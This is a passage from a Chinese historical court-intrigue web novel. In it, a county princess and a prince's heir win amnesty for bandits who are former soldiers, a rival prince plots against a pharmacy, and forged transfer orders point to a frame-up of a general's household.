皇上传召,众人不敢耽误,紧忙跟着三宝公公进了宫。 皇宫,明正殿。 皇上端坐于明正殿,面上神情一派冷肃,听得通报,将手中笔置于笔架上,摆摆手。 “让他们进来。” 随着明正殿大门打开,姜云舒和三皇子往里走,到跟前,跪地叩拜。 “儿臣参见父皇。” “臣参见皇上。” 此时皇上刚接过明德公公递来的茶水,低头抿一口,才朝两人看去。 “起来说话。” 喝完茶,杯盏放置桌案上,皇上先开口问三皇子,“老三,听说你提前回城,那雷云寨可是拿下了?” 三皇子扯了扯嘴角。 这让他怎么说呢? 拿是拿下了,但也不是全都拿了,除死了的,剩下的一部分自己跑回来要招安了。 表情凌乱之后,三皇子苦命开口,“回禀父皇,雷云寨一部分逃窜入万踪林,死一百六十三人,另一部分……” 话说一半,他扭头朝姜云舒看一眼,这才又接着说。 “另一部分去京兆府报官了。” “你说什么?” 皇上威严的表情出现了一丝裂缝。 头回听说劫匪报官的,这得杀得多惨! “之前赵令海曾禀报雷云寨山匪一事,这帮人劫道是真,但也未曾有过人命,你何苦将人逼到这个份儿上。” 也正是知道这些山匪并非穷凶极恶之人,皇上才特赦让赵令海招安,后来灾民一事成为当下最大难题,倒也将雷云寨置之脑后了。 听着皇上的话,三皇子心里这个憋屈啊! 他攥了攥拳头,压住涌上来的郁闷,道:“杀的那部分,虽衣着身形与前来报官的这部分山匪并无不同,但他们的身手却非普通山匪,儿臣怀疑……” 话还没说完,就听外面传来一声禀报。 “渊政王府,谢世子求见……” 众人一顿,面上表情各异,下意识看向皇上。 “往他进来。”皇上摆摆手。 回京两个月,谢无烬还是第一次进宫求见。 内室太监打开殿门,一缕阳光随着谢无烬进来,在大殿的地面上投下一片光辉。 谢无烬款步走进来,径自走向姜云舒这一侧。 “臣,参见皇上!”谢无烬上前行礼。 “起来说话。” 皇上依旧抬了抬手,“你此时进宫,为何而来?” “臣是为雷云寨而来。”谢无烬道。 这话一出,众人的视线瞬间转向了他,就连姜云舒也是一时不解。 “难不成,谢世子的商队也被劫过?”三皇子忍不住开口。 “那倒不曾,他们没那个本事。”谢无烬轻描淡写地回了一句。 这一句给三皇子顶了个大红脸。 雷云寨抢不了渊政王府,却能将三皇子整个商队都抢回寨子里,三皇子手下的人得多废物啊! “谢世子可真是好魄力,不过,那雷云寨可不光是劫匪那么简单,他们那招式狠辣,若说是死士也不为过。” 三皇子阴阳怪气。 “自然是不简单的。” 谢无烬回了一句便不再搭理三皇子,而是转向皇上,“启禀皇上,臣要禀报的是,雷云寨山匪出身军营,并普通劫匪山贼。” “什么?军营出身?” 皇上一时震惊,手中杯盏直接顿在桌上,茶水溅了出来,“到底是怎么回事?” 当初皇位争夺,朝廷动荡,混乱之中,军营将士死伤也是在所难免,可当时除了叛党主谋,并未累及将士,更没有出逃做山匪的。 这又是从何说起? 谢无烬没有直接回答,反而问皇上,“皇上可还记得当年的邵家?” 第162章 血书 “邵家?” 皇上的脸色又是一沉,连眉心也蹙了起来,“你想说什么?” “雷云寨这群靠劫道过活的草莽,正是邵家铁甲狼军的遗留残将,十年前,邵家覆灭,他们被护城军驱逐,走投无路,只能逃窜到当时猛兽出没的天雷山为寇,他们是山匪却又是武将出身,不管是身手还是几率,自然与一般山匪不同。” 谢无烬说着,朝三皇子看一眼,又看向皇上,“皇上,臣斗胆问一句,邵家真的该被灭吗?铁甲狼军拼死守护边境,又是何等大罪以至被驱逐截杀?” 一句话问出口,皇上的表情明显的裂开了一角。 这让他怎么回答? 即便那件事是先皇下令,可当初在朝堂之上,他作为皇子却明哲保身,任由失态发展到那般地步。 如今他坐上了这个位置,邵家和铁甲狼军便是他作为帝王的一道疤,如今谢无烬来跟他要公道,他又如何给? 他没有直接回答,反而嘴角颤抖问,“你是如何知道,他们就是邵家的铁甲狼军?” “臣有证明。” 谢无烬抬手,从胸口处掏出一张白色侵染血色的布,双手呈交。 明德公公紧忙过来接了送到皇上手里。 那是一封血书,是几个将领的自陈信,写着当初他们是如何拼死胜了那场战役,结果回京复命又如何被拦在京城之外,甚至,还被截杀驱逐。 自陈信的最后,还有几个将领的血手印,血迹被渲染开来,不知是沾了汗还是泪。 皇上视线凝在血书上,眼皮忍不住颤了颤,此时感觉喉咙一阵发紧,伸手去拿杯盏,却发现杯盏里的茶已经溅了出来。 “皇上!” 明德公公紧忙给皇上换了一杯。 皇上感觉到抬起的手也在颤,直接一挥手,让把茶端走。 “皇上,当年的邵家也是受害者,这些将士也曾在战场上立下汗马功劳,落草为寇实属无奈之举,还请皇上还他们一个公道。” 谢无烬微微仰着头,如星河的眸中,坚定持重。 渊政王府也是将门世家,他也是战场上为国拼杀的将领,此时斗胆来皇上面前为这帮草寇请命,也是为朝中武将要一个说法。 为何明明浴血奋战,哪怕身死沙场也要为国建业的功臣,却成了朝中文臣口中的“粗鄙武夫”,用满身伤疤换来如今生死太平的是他们,为什么不得善终? 皇上眉心拧成了一个“川”,呼吸略显急促,一时竟说不出话来。 姜云舒瞧着皇上的反应,又歪着头看谢无烬,唇下意识抿紧。 听说,当年邵家人与渊政王府联合,突破了千牢之地的阴诡之术,但邵家撤退不及,被讹咒蛊侵染。 中毒之人会被讹咒蛊侵吞意识,变得嗜血残暴,甚至还吃人,只要沾染他们的血也会被感染,当时先帝没有办法,只能舍弃邵家。 原本只是无奈之举,可当时竟还出了谣言,被传得神乎其神,到后来,没有被感染的邵家人活着回到京城还是被驱赶离开,甚至,还出现对邵家军队杀无赦的命令。 姜云舒知道这些,还是因为偷听爹爹和娘的谈话,还问大哥,他们是人还是怪物,大哥第一次严肃地呵斥了她。 当时年幼不懂事,亦不明白事态严峻,尚不能共情邵家的悲惨,如今思想成熟,再听到谢无烬提及邵家,也忍不住下意识攥起了拳头。 “不对,他们怎么会是铁甲狼军呢?孤亲自与他们交过手,那些人出手狠厉,而且,后颈处……” 三皇子突然开口,然而,话没说完,似是想到什么,突然顿住。 谢无烬扭头看他,唇畔勾起一抹冷笑,“三殿下,他们的后颈如何?” 三皇子拧着眉头,含糊其辞,“没什么。” 万踪林一战,那些“劫匪”无一生还,尸首抬到跟前,三皇子才发现,那些人后颈的狼头与封狼阁的标志并不相同。 封狼阁的狼头标记并不是什么秘密,可只有三皇子这种与封狼阁亲自接触过的人才能分辨出,万踪林里那些人后颈上的狼头是假的。 他不敢说他认了出来,毕竟,当初截杀六皇子的事,在皇上这里还没过去。 想到这里,三皇子紧忙转移话题,“请父皇允许儿臣详查!” 不对劲,这件事背后,肯定有猫腻! 然而,三皇子的话刚出出口,皇上的脸色紧跟着又是一沉。 “既然他们都主动招安,你又何必咄咄逼人!”皇上皱着眉头呵斥一句。 血书上有好几个名字,皇上都认得出来,而最后的印章,也是邵将军的,这如何能作假? 故人已去,何苦不给活着的人留一条路呢。 眼瞧着皇上一脸阴沉的神情,姜云舒上前一步。 “启禀皇上,听那黑云寨当家雷五说,他们寨子里还有不少妇孺孩童,如今我清风村又扩建了一片房屋,想来也能容纳下他们,不如,就让他们一同归在清风村,这样一来,妇孺有人照应,其他人,便让赵令海带着组建护卫队,届时也不必再另派巡逻卫队了。” 姜云舒顶着一张天真无邪的脸,又将皇上的烦心事包揽了。 虽说是在城外,可清风村到底属于京城之地,皇城卫是要安排护巡逻卫队的,如今姜云舒将那帮山匪转成自己的队伍,倒也省了皇上的事儿。 对于皇上来说,这点事倒也不算什么,重要的是,邵家的事儿若是闹起来,难免让当朝武将寒心,于朝堂不利。 姜云舒能接收他们,那他们就是草寇招安,不管对于皇威还是邵家残将,都是最好的安排。 “罢了,就依你。”皇上摆摆手,扭头跟明德公公吩咐一声,“给户部拟一道旨意,免除清风村五年赋税。” “是!”明德公公紧忙应声。 姜云舒没想到还有这好事儿,紧忙叩谢皇恩,“臣替清风村百姓谢过皇上。” “好了,去安排吧!”皇上摆摆手让姜云舒退下。 姜云舒紧忙起身,谁知转身刚退了两步又回来。 “对了,臣还有一事想问三殿下。” 第163章 为了她 三皇子面色一凝,见姜云舒那笑容就知道,她肯定没憋好屁。 此时他脑子里转得飞快,然而还没等开口,就见姜云舒朝他眉梢一挑。 “如今粮食已经追了回来,什么时候发放到清风村,还请三殿下给臣一个确定的日子,如今清风村加了这么多人,怕是不够吃到月底了。” 她是面向三皇子,说完,又朝皇上无辜地眨了眨眼睛。 我清风村如今不是灾民就是招安的劫匪,朝廷的粮食给不下来,我们就得挨饿。 她也不在意皇上说她耍心眼子,毕竟,当初清风村的建立本就是皇上在背后推动,摊子让她接了又不给粮食,什么好事儿都是你们的呢。 这话一出,三皇子悬着的心终于死了。 姜云舒这张死嘴,竟当着皇上的面儿跟他说这个! 一时间他那个表情,就像被揉搓过一般,扭曲狰狞。 若只单说清风村的粮食下放问题,倒是可以拿账目不对做借口,可如今让百姓挨饿,他却浩浩荡荡运了一大批粮食进他的三皇子府,这事儿摆在皇上面前,那就是苛待百姓! 皇上视线在两人脸上扫过,沉声问道:“怎么,清风村的粮食还没有发放下去?” “是,是账目出了一些问题!儿臣已经敦促户部尽快查清楚,也……” 三皇子顿了一下,衡量片刻,咬着牙道:“也正是担心灾民断粮,儿臣这才紧急让人运了一批粮食回京,谁知竟被截了去,事关灾民温饱,儿臣这才向父皇请命剿匪。” 到底是皇后亲自教养出来的,三皇子这脑子转得的确很快,也能瞬间分析利弊。 如今这个节骨眼上,这批粮食是留不住了,但他又巧妙地利用这批粮食,解释了之前紧急出兵的原因。 皇上眼神微微凝蹙,朝三皇子摆摆手,“难为你思虑周全,既然乐安已经问了,那你便给她一个日期,百姓所求,最简单不过温饱。” “是!” 三皇子应声,转向姜云舒,咬着后槽牙,一字一句吐出一句话。 “三日后,粮食会下放到清风村!” “臣替清风村百姓感谢皇上,感谢三皇子!” 姜云舒扬着眉毛,笑得一脸灿烂。 皇上面前。他承诺了就必定要做到。 折腾一场,事情圆满结束! 自明正殿出来,几个人脸上表情各异。 姜云舒依旧那般恬淡无争的神情,谢无烬的视线追着姜云舒,见她眉梢之间隐藏着那股得意,也忍不住勾起唇角。 相比这两人的岁月静好,旁边的三皇子自则是憋着一肚子火,愣是找不到撒的地方。 一直等到上了宫道,三皇子终于忍不住冷哼出声。 “原以为,你在沈家三年已经消磨了浑身的锋芒,如今看来,你却比从前更加凌厉。” 三皇子上前一步,挡住姜云舒的路,“万踪林里的那些人,到底是何来路?” 左右事情已经到了这个地步,姜云舒这局是赢了,但是赢在众人心知肚明,有些事情也没有掖着藏着的必要。 姜云舒站定,迎着三皇子审视的视线,勾起唇角,“我说是封狼阁的杀手,三殿下相信吗?” 三皇子眸光一凛,眼神衡量着姜云舒这句话的深层含义,他张了张嘴角,倒是姜云舒又接着说。 “他们是什么来路,其实并没有多重要,如今朝局动荡,对于三殿下来说,拦在前面的绊脚石,或许并非目光所及。”姜云舒神情微敛,原本恬淡的表情被沉冷代替。 万踪林的那些人,姜云舒曾怀疑过三皇子,也曾怀疑过太师府,但综合最近诸多线索,都被姜云舒排除了。 也就是在收回赤羽卫之后,得知沈清安又去北域见过舞阳侯,脑子里便不由自主的成型了一个大胆的猜想。 “你到底想说什么?” 三皇子蹙眉看她,深冷的视线,更多的是衡量。 定国将军府已经覆灭,姜云舒最近在京屡次动作,所有的事情最终都是在向皇上讨好,可她又偏偏并未求得姜家回归,她到底在打什么主意? “殿下是君,有些话,臣在没有确切证据之前,不敢妄下断语,三殿下思虑敏锐,想来会有自己的判断。” 说完,也不给三皇子思考的余地,径自朝皇宫大门走。 谢无烬跟着姜云舒,在经过三皇子身边时,余光落在他脸上。 只是一个眼神,让三皇子心中莫名被绷紧了一根弦。 两人一路沿着红瓦高墙往外走,越往外,宫人稀稀落落几乎不见人了。 “你走那么快做什么?你的人不是已经派去黑云寨接人了吗,就算再快也得日落之后才能到。”谢无烬跟在她身后,忍不住念叨。 姜云舒闻言停住脚步,扭头视线与他相交。 “你如何知道,黑云寨那群山匪是邵家铁甲狼军的残将?” 说话的同时,她双手不由得捏起了拳头。 “他们自己招的。”谢无烬回答得理所当然。 姜云舒看向他的视线却不由得一滞,也就是说,谢无烬在之前审问过黑云寨的人。 “你为什么会突然对一帮山匪感兴趣?难不成,你回京路过雷云山被劫了?”姜云舒唇角含笑,那笑容又透着一股玩味。 谢无烬看她,唇畔勾起一抹张扬的笑。 “即便是铁甲狼军旧部,也不可能有机会对我的队伍动手。” 说着话,他倾身朝姜云舒靠了靠,微微眯起的眼中,视线蛊惑,“若非你要利用这帮山匪,我又如何将视线落在那区区黑云寨上?” “你……” 姜云舒视线凝滞。 是为了她? 半晌,她抿了抿唇,“你拿的那张血书是真的?黑云寨那些人,真的是邵家老将?” “重要吗?”谢无烬看她,“只要皇上因着对邵家的亏欠,赦免了这帮山匪,这件事就有意义。” 姜云舒一时语塞,是啊,不管是不是真的,谢无烬今日用一张血书替邵家鸣了冤屈,要了公正,这件事做得就值得。 两人一路走着,到了皇宫门口,县主府的马车已经在门口等着了。 不是太后赏赐的那辆华贵马车,而是平日里用来代步的马车,装潢简单,却是依照当年在边境时,爹爹专门为她设计的机关马车。 “小姐!” 月禾见人出来,紧忙迎了过来,瞧见谢无烬也在,倒是顿住脚步。 “世子怎么在宫里?” 这话倒是有些意思,谢无烬看她,问:“本世子如何不能在宫里?” “今日不是你渊政王府元太君为崇光寺菩萨塑金身的日子吗?听说,还设了普渡斋,邀请京中各家未出阁的姑娘参加,还有礼部的人呢。” 说着,月禾抬起头,迎着谢无烬的视线看去,“渊政王府这做派,是要挑选世子妃,世子不回去相看相看?” 第164章 良缘 月禾的一句话,如秋日一阵凉风,直接朝着谢无烬面上嗖了过去。 谢无烬一时怔愣,下意识看向姜云舒。 姜云舒也正偏过头,似笑非笑地看着他,“如此,我们就不耽搁谢世子了,祝你早日觅得良缘。” 说完,转身就要走,却被一把拽住了手腕。 “良缘都要走了,你叫我如何觅得?”谢无烬略显无奈。 姜云舒低头看了一眼被拽住的手腕,不轻不重地用力,抽了回来。 “世子说笑了,我们只是前良缘,哦,真要说,还算不上良缘。”她扯了扯嘴角。 “谁说不是良缘!” 谢无烬玩味的脸上忽然多了几分认真,“父母之命媒妁之言,太妃越过我父王擅自做不了这个主,更何况,我们才是双亲约定的。” 姜云舒深吸一口气,正想反驳一句,奈何谢无烬并不给她开口的机会。 “我不管,当初你姜家还回来的信物并没有送到渊政王府,这退婚就不做主。” 当初定亲,渊政王府虽并未直接下聘,却送了诸多名为“信物”的珍宝,后来姜家退婚将那些珍宝送还,结果,那些东西还在半路时,姜家就被流放了,如今东西到了何处,谁都说不清。 这一点,姜云舒倒是无法反驳。 “可我已经嫁过人了。”姜云舒沉沉叹一口气。 “那我原谅你这一次。”谢无烬一句话顶了上来。 姜云舒张张嘴,半晌愣是没说出一个字来。 他多高傲一个人啊,这种事竟直接轻飘飘一句话就过去了? 姜云舒眼神闪烁,头一回跟人辩论被堵了嘴。 “随便你!” 憋了半天,她深吸一口气,转身朝马车走去。 谢无烬唇角扬起得意的笑,转身紧跟了过去。 此时月禾已经扶着姜云舒上了马车,抬脚正准备跟着上去,却被谢无烬拦住。 “你去外面。” 三个人都进去,难免显得有些窄了,更何况,三个人还怎么说悄悄话? 月禾被拦住,一脸不满地朝旁边瞥一眼,“谢世子,你的马车不是拴在那边吗?” “稍后会有人拉牵走!” 说着,谢无烬抬脚上了马车,见月禾还当着,直接抬手将人推了出去。 “挑拨是非的恶奴,还想进车里?” 他斜了她一眼,径自进了车里。 月禾一个趔趄,差点从马车上摔下来,气得对着车帘吐槽。 “你才是恶世子,小时候是恶童,长大了是恶霸!哼!” 骂完,气鼓鼓地坐在车夫边上。 车夫见谢无烬上了车,本来就捏着一把汗,结果身侧又坐个气得脸上鼓鼓囔囔的月禾,当下绷紧了全身的神经。 来不及多想,马鞭朝着空中一甩,带着众人飞奔而去。 而在一炷香之前与姜云舒和谢无烬分开的三皇子,此时已经回到了府上。 他手里捏着属下送来的茶,脑子里又过了一遍今日的事,越想就越觉着憋屈。 不是憋屈被姜云舒摆了一道,而是气恼在,大家都知道这是姜云舒的局,却根本挣脱不掉,只能一步步被她牵着往里走。 这种憋屈窝囊的感觉,他还是第一次体会到。 越想越气,三皇子手里的杯盏“咚”的一声放在桌上,吓得一旁丫鬟扑通就跪在了地上。 “去,派人将沈清安给孤‘请’过来!” 三皇子冷喝一声。 这一声带着怒气,抬高了声音,震得那丫鬟又是一哆嗦,尚未开口,就听门外传来应声。 “是,是!” 紧接着,急落的脚步声越来越远。 一炷香后,沈清安被侍卫带着进了三皇子府。 自入仕以来,他还是第一次进皇子府,自门口守卫,到进门庭院之中兵器摆设,每走一步都让他不由自主的捏一把汗。 听闻,三皇子的生母,也就是当今的皇后娘娘,在大瑞朝被东越几近攻入皇城时,亲自率兵突围,之后又乘胜追击,生生将敌军十五万狼军打回了东越境地,自此十多年,有皇后一手带出来军队镇守东越边境,再没有出过乱子。 也正是有如此功勋,当初先皇亲自下旨,将后入王府的她升为平妻,这些年,皇后一路辅佐皇上登上那个位置。 与芷妃同样开枝散叶,三皇子的生母更是赢得满朝文武的拥护,坐上了那尊贵的后位。 而三皇子,更是皇后亲自教养,自小便卓越出众展现出强势的领兵才能,相比六皇子,他似乎更适合那个位置。 如今沈清安竟得了三皇子邀请,此时心情又紧张又兴奋,除此之外,还有几分莫名的忐忑。 随着侍卫一路到前厅,此时三皇子手中的茶已经换了新的,心情似乎也平复了些许。 得了通报,沈清安连头都不敢抬,紧忙上前行礼。 “下官参见三殿下。” “起来说话。” 三皇子抬了抬手,随着沈清安起身,视线落在他脸上。 他的眼神很直接,就那样盯着看,直看得沈清安心里发毛。 “呵,你这样的人,凭什么能得姜兆霖的青眼,让他同意将唯一的女儿嫁给你?” 三皇子声音很轻,却丝毫不掩饰满腔的玩味。 沈清安听得这话,心中又是一紧,小心翼翼思量三皇子这话之后的深意。 “是,是下官配不上乐安县主,所以……我们好聚好散,如今已经没有了关系。”沈清安在衡量之后,说了一句自认为还算妥帖的说辞。 然而,这话却让三皇子脸上笑更嘲讽。 “你沈清安的确配不上姜云舒,但据孤所知,你们也并非好聚好散,沈大人作为我大瑞朝第一个被休夫之人,可是传遍了京城。” 说着,他忽而往沈清安跟前凑过去,“沈大人,堂堂七尺男儿,你咽的下这口气?” 沈清安双手掩于袖下,在三皇子看不见的位置,死死握住。 他当然咽不下这口气,可若不是皇上给了姜云舒那道休夫圣旨,他何至于被全京城嗤笑? 思绪在脑子里快速闪过,沈清安压住胸腔之内沸腾的怒意,抬起头来。 “三殿下让下官前来,可是有事要吩咐?” 到底是探花,除了这张英俊的脸,沈清安的确不算蠢笨,前面三皇子铺垫了这么多,意思已经很明显了。 “呵,你终于问道了点子上。”三皇子眸光一闪。 第165章 让仁春堂关门 “下官愚钝,还请三皇子明示。”沈清安抱拳行礼。 “孤喜欢直白。” 三皇子笑容之中的阴暗散开,他抬手,示意沈清安坐过来,这才继续说。 “繁荣街是个好地段,但凡能租得下店铺,没有不赚的,沈大人,你刚回京城就能在繁荣街开店铺与仁春堂打擂台,的确让人不容小觑。” “这……三殿下可是说笑了。” 沈清安的表情有些为难,他皱眉思量了瞬间,叹一口气,“不瞒您说,我那尚品堂的药材,不管是成色还是药效,都是上乘,可京城之中,都只认仁春堂,我那药铺能勉强平衡已经是万幸了。” 三皇子在试探他,而他也在试探三皇子。 两人面对面,四只眼睛两张嘴,还有八百个心眼子。 三皇子捻着杯盏,低头浅抿一口,神情倏然收敛。 “沈大人也太过谦虚,不过,在孤看来,药铺于繁荣街,只能留一家,孤可以补充你尚品堂银两上的亏空。” 说着,他抬手将一张银票放在沈清安跟前。 “这一万两,足够你那药铺回暖,给你三个月的时间,将仁春堂挤出繁荣街,不成,关门的便是你那尚品堂。” 说完,他手腕一转,将银票放在了桌上。 沈清安看着那银票,只感觉一股子冷汗从脖子里往下顺,明明已经是暖春时节,怎的一阵一阵发冷? 三皇子这不是商量,而是命令,先给一颗甜枣,转手就就拿刀子抵着腰,站在权利最高点的这些人,果然没有一个是好相与的。 此时再看着眼前那万两银票,沈清安只感觉牙疼,第一次,他对银钱生出了避之不及的感觉。 “三殿下,这……仁春堂到底是京城老店,尤其还与药王谷关联,下官实在是……有心无力。”沈清安扯着嘴角,一脸命苦的表情。 即便有岩城崔家撑着,可他一个小小的地方药局出身,凭什么比得过药王谷? “沈大人可是我朝经过层层筛选出来的人才,孤相信你有办法的。” 说着,三皇子不给他拒绝的余地,起身径自走了出去。 沈清安看着那银票,只觉烫手,可三皇子并没有给他往回缩的机会。 他在原地呆愣半晌,最终,还是一咬牙将银票拿了起来。 沈家。 此时的沈家,已经从当时的大宅院府邸搬了出来,如今所住之处说来也是巧了,正是沈清安几日前花了千两银子买下来的二进宅院。 而这二进宅院,原本是他买来准备送给乐无忧的,却不想,倒是让他沈家住了进来。 许是打击太大,沈家老夫人自搬离沈宅,便一病不起,接连喝了好几服药都不见好转。 虽说姜云舒的人已经撤走,但到底是官员府上,一家上下总还是要人管理的,如今,高芝兰倒是顺理成章的接过了中馈,可就这几日的对账,已经让她有种想撒手不干了的冲动。 府内各项入不敷出,尤其是老夫人被姜云舒养出的这一身矫情病和日常巨大的开销,让高芝兰苦不堪言。 想着如今境况,她想劝老夫人稍加缩减,可刚一开口,老夫人便拿上次换药的事堵她的嘴,实在不行,就用姜云舒和她做对比,气得她咬牙切齿又不敢发火。 这不,刚又被老夫人拿姜云舒与她比较了一通,满腔的怒火正没处撒,就见沈清安也苦着一张脸进了门。 “相公,你……” 高芝兰正要委屈,结果抬头一看,沈清安的脸色比她的更难看,嘴边的话愣是咽了回去。 “你这是怎么了?” 沈清安看高芝兰一眼,没好气地“哼”一声,“当初尚品堂开业,我可是将所有的积蓄都拿了出来,你当时如何与我承诺的?什么利益翻倍,如今倒好,勉强收支平衡都几乎维系不住,我看趁早关店算了!” 这话说得就有点破罐子破摔的味道了。 不管是从店影响还是进药渠道,尚品堂都无法跟仁春堂相提并论,三皇子说了只能留一个,那他尚品堂关门大吉,也不必折腾了。 高芝兰冷不丁听他这话,面上霎时紧张起来。 “相公,你怎么能这样说?尚品堂自开业到现在,诸多原因你是知道的呀,怎么能说关门就关门?” 他还指望这药铺能让她在沈清安面前翻个身呢。 “哼!三皇子已经给我下了命令,繁荣街只能留一家,你觉着是该仁春堂关门还是咱们?”沈清安没好气地瞪了她一眼。 “只,只能留一家?” 高芝兰眼珠子转了转,似乎在盘算什么,随即抬头,“这该不该关门,也不能只用药铺流水来判定,万一,我是说万一,仁春堂出了吃死人的事故,或者……同一种病,他仁春堂的药不行,我们尚品堂却能奇效,这是不是……” “真是异想天开!”沈清安没好气打算她,“仁春堂的进药渠道是药王谷,其中一百多种药剂也是与药王谷联合制得,他们的药不行,凭什么我们的就能行?” 在岩城时,他尚且觉着高芝兰是聪慧的,如今怎的到了京城却突然变蠢了? “那自然是我们能找到更好的药剂师!” 高芝兰迎着沈清安那略带嫌弃的表情,却笑了出来,“我原本也是想与你说的,就在前几日,我派出的人传来消息,他们找到了薛神医。” “薛神医?”沈清安眸光一闪,似是想起什么,紧接着问:“可是那位,当年凭借一己之力,研制出压制军中疫病的女神医?” 听说,当年东越狼军在兵器上做了手脚,大瑞将士一旦受伤便会出现热毒症状,一时间,伤员残损大幅增加,那位女神医便是在那个时候出现的。 她的出现,让军中疮毒至死大大降低,在皇后带领下,一举反攻,接连收复丢失的城池。 但是听说那位女神医之后便销声匿迹没了消息,高芝兰如何能找得到? “是,就是她!”高芝兰得意地扬起脸,“她就在我大舅家不远处的千牢山,我大舅曾经在进山狩猎时救过她一命,如今每个月给她往山里送吃食,错不了的。” 高芝兰的话,让沈清安眼中再次有了光芒,高芝兰趁机往他怀里靠。 “我这就准备准备,过几日亲自去一趟千牢山!” 而与此同时,县主府,月禾一脸兴奋的抱着信鸽进来。 “小姐,是千牢山传来的消息!” 第166章 定国将军府被做局 姜云舒抬头,面上瞬时漾开笑意。 “快,拿过来!” 月禾紧忙将取下来的信送到姜云舒手里。 姜云舒展开,细细的看完,眉梢眼角都挂着笑。 “月禾,你尽快把府上坐北朝南的那处院子收拾出来,再让工匠做一个‘依梅院’的牌匾,等她到了好住。” “是,奴婢这便与郝叔商量一下!”月禾紧忙应声。 说着正要往外走,姜云舒顿了一下,又叫住她。 “先等等。” 说话的功夫,姜云舒起身,“你先陪我去一趟仁春堂。” 万踪林中,定国将军府的那些老人被带出来后,直接安排进了仁春堂的地下药库,如今明面上的事情解决了,不能示人的也该处理处理了。 一炷香后,仁春堂,地下储药室。 姜云舒出现在几个老将面前时,他们脸上的震惊在烛火的映照下,尤为明显。 “你,你是大小姐?” 其中一人走上前来,凑近看清楚姜云舒的模样,眼眶一下子就红了。 “是,好久没见了,章伯伯。” 姜云舒应声,视线在几个人脸上扫过,其中几个是不认识的,但和章源站在一起的两个,是父亲身边的人,她都认得。 章源的一句话,印证了姜云舒的身份,此时几个老将随着拧紧眉头,也跟着红了眼眶。 三年了,定国将军府一家流放之后,他们沸腾的人生似乎一瞬间熄了火。 他们都是老将军的亲信,将军平日为人如何,没有比他们更清楚的,通敌叛国,绝无可能。 众人再次相认之后,章源先开口,“大小姐,你是如何知道我们就在万踪林的?” 隐身万踪林,这可是机密,在此之前,他们已经很久没有见过外面的世界了。 “这件事说来话长。”姜云舒一句话略过,反而问他们,“你们是如何到万踪林的?” 和孙副将一样,他们是守护边境的队伍,未经传召不得回京,尤其他们还是定国将军府的老将,私自回京势必会被当成谋逆。 也正是因为这样,姜云舒才让他们藏在地下储药室。 “自然是调令。”章源道。 “哪里的调令?”姜云舒又问。 “上面的调令。”章源如实回答,但见姜云舒眉心越蹙越紧,紧忙从衣服里拿出一封调令书。 姜云舒接过来,的确是调令,上面还有姜兆霖的印章。 也就是说,他们是在定国将军府被流放之前,就被调来京城的。 这调令书看起来似乎没错,可上面的印章…… “月禾,你去将我书房里的巡游记拿过来。”姜云舒扭头吩咐。 一会儿功夫,月禾将书拿了过来,姜云舒翻开其中一页,其中一个“兆”字与印章上的字对比。 “你们看,这两方印章上的‘兆’字有细微不同。” 说着,她将书和调令拿给众人。 众人低头凑近烛光细看,的确发现“姜兆霖”的“兆”自书写上是有不一样的。 “这本巡游记是我从家中带过来的,这上面的印章便是我儿时拿爹的章留下的,而且,你们手中调令上并没有指印,我怀疑,你们,甚至是我爹,被人算计了。” “这,这怎么会!” 章源眸光一凛,下意识扭头看向众人,此时,众人也紧忙将调令书拿出来对比,几个人的调令书一模一样,唯独印章与姜云舒那巡游记上的不同。 姜云舒的表情甚至比方才更凝重了。 如果定国将军府是被人做了局,那么当初若父亲没有认罪,接下来很可能是拿这批人做文章,他们手里的调令书是假的,但人的确是父亲身边的,这谋逆的帽子就逃脱不掉。 这是一定要将定国将军府置于死地才罢休! “果然是陷害!我就说,我们将军恪尽职守,一心为民,不可能通敌!” 章源忍不住怒喝一声。 “对,我们将军绝无可能通敌!” “我们要为将军翻案!” 一时间,众人情绪激奋。 等众人喊完,章源转向姜云舒,“我们之前不清楚具体情况,只能等待命令,如今白白浪费时间什么都不知道,大小姐要我们做什么,只管吩咐,我等生是将军府的人死是将军府的鬼,一切都听从大小姐安排。” “对,都听大小姐的!” 众人纷纷应和。 姜家全部流放崖州,除了姜云舒,他们也不知道能听谁的了。 姜云舒深吸一口气,转向众人,“你们先跟我说一说,这些年,你们在万踪林究竟在做什么。” 提及这个,几个人面面相觑,还是章源先开口。 “我是负责设计兵器的,大小姐你也知道,当初在定国将军府,我就在冶炼营。” 随着章源开口,其他几个人也纷纷汇报了自己的工作,大多和当初在定国将军府做的相差无几,其中特色并不明显的,便各自被安排在了后补给,但又分在了不同区域。 听着众人的回答,姜云舒原本清冷的面上更添了一层寒凉。 这万踪林是准备练成一支完整的队伍,届时他们若以谋逆之罪往父亲身上栽,算是做足了全套。 可是,定国将军府已经认了通敌的罪,这批人还留在这里有什么用? 姜云舒正在思量,几个人却有了商量。 “大小姐,如今咱们已经知道是被人设计,此时我们兄弟几个留在京城也难免再生事端,不如索性去崖州与将军汇合。”章源道。 “不行!” 姜云舒果断拒绝,“三皇子率兵攻入万踪林,这件事已经是摆在明面上,此时那背后之人才更紧张。” “可我们也回不去北域了,保不齐如今那都统已经将我们当成了逃兵,我们总不能留在这里,若被人认出,怕真要给老将军再添一层罪名。” 众人面色低沉,明明是一路拼杀上来的将军,怎的就成了叛逃的? “不必担心,我在忻城有一处铁矿,如今正是缺人手的时候,我安排你们化作工人去矿上,届时父亲那边有任何进展,我会及时通知你们。” 安排了众人,姜云舒自地下储药室出来,此时就见月禾抱着一只信鸽又兴奋的迎了过来。 “小姐,咱家黑仔可真是厉害!” 月禾说着,抬手将怀里的信鸽往姜云舒跟前举了举,“瞧,沈清安的信鸽刚飞出去就给黑仔给抓回来了!” 第167章 给足饵 “守到了?”姜云舒眉梢扬起。 自万踪林“山匪”被浇灭之后,姜云舒便让月禾带着黑鹰紧盯住沈府的动静。 毕竟,万踪林出事,沈清安必定要向背后的主子汇报情况,此时便是顺藤摸瓜的机会。 说着,月禾将信鸽脚上的信拿过来,姜云舒接过展开,信上果然是汇报死士被绞杀的内容,另外还提到了定国将军府老将失踪的消息,递交信息的对象,正是此时掌管北域边境布防的舞阳侯。 “嘿,这鸽子还挺肥,小姐,我这就拿去小厨房,给小姐做一道鸽子汤!” 月禾抬手将鸽子扬了扬。 好久没吃郝叔亲自做的鸽子汤了,当初在定国将军府,郝叔的鸽子汤做得比厨娘做得都好喝! 姜云舒瞧她满眼放光的模样,无奈地深吸一口气。 “你吃了它,拿什么给我们传信?” “小姐要将这信送出去?”月禾一脸震惊,“咱们好不容易拦截下来的,为何还要送出去?而且,那信中还提及章伯伯他们,这要是让背后那人知道,岂不是麻烦?” “我又没说原封不动地送出去,既然要引蛇出洞,自然要给足了饵。” 